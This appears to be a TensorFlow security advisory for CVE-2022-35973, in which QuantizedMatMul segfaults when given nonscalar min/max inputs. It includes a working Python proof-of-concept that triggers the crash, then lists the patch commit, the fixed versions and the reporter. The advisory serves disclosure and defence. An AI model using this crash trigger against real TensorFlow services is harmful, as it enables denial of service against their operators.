QuantizedMatMul
CVE-2022-35973
If QuantizedMatMul
is given nonscalar input for:
min_a
max_a
min_b
max_b
It gives a segfault that can be used to trigger a denial of service attack.import tensorflow as tf Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation)
We have patched the issue in GitHub commit aca766ac7693bf29ed0df55ad6bfcc78f35e7f48.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.